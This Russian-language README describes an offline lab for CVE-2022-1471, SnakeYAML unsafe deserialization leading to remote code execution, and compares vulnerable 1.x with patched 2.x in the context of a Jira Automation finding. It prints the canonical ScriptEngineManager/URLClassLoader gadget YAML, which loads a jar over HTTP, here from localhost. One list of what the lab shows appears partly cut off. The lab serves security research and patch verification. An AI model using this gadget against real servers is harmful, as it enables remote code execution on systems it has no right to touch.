
Офлайн-лаборатория CVE-2022-1471: небезопасная десериализация SnakeYAML, приводящая к RCE; сравнивает уязвимую версию 1.x с исправленной 2.x с использованием безвредной локальной полезной нагрузки.
Автономная самодостаточная лаборатория, демонстрирующая механизм CVE-2022-1471 (небезопасная десериализация SnakeYAML → RCE, CVSS 9.8), используемый в находке Jira / Jira Service Management против хоста под управлением 9.4.9 (затронутый диапазон 9.4.0–9.4.12, исправлено в 9.4.14 — см. Atlassian JSDSERVER-14906).
Лаборатория демонстрирует ровно две вещи:
ConstructorException) — ничего не выполняется.Он не эксплуатирует какой-либо живой хост. Всё выполняется на 127.0.0.1; пейлоад (src/Exploit.java) безвреден — его статический инициализатор записывает один текстовый файл и больше ничего.
./run.sh
cat PWNED-proof.txt # on-disk proof of execution (regenerated each run)
Требуется JDK 17+ в PATH (javac, java, jar). Если в tools/ есть встроенный JDK, используется он. Единственный сетевой трафик — локальный HTTP-сервер на 127.0.0.1:8077, раздающий jar-файл пейлоада; он завершается при выходе.
src/VulnDemo.java — это просто new Yaml().load(yaml) — тот же небезопасный вызов, который уязвимые версии Automation for Jira совершают при импорте YAML-правила. YAML атакующего — канонический гаджет:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8077/payload.jar"]
]]
]
SnakeYAML 1.x инстанцирует произвольные классы без списка разрешений → JVM загружает класс с сервера «атакующего» → выполняется его статический инициализатор. SnakeYAML 2.x по умолчанию использует SafeConstructor, который отклоняет глобальный тег.
sample-output-PWNED-proof.txt показывает содержимое файла-маркера после запуска; screenshots/ показывает оба запуска (уязвимый и исправленный).
Авторизованное исследование безопасности. Только доказательство механизма библиотеки и границы исправления — не эксплойт против какой-либо производственной системы. Эксплуатация вектора Jira дополнительно требует аутентифицированного импорта правила автоматизации (администратором Jira).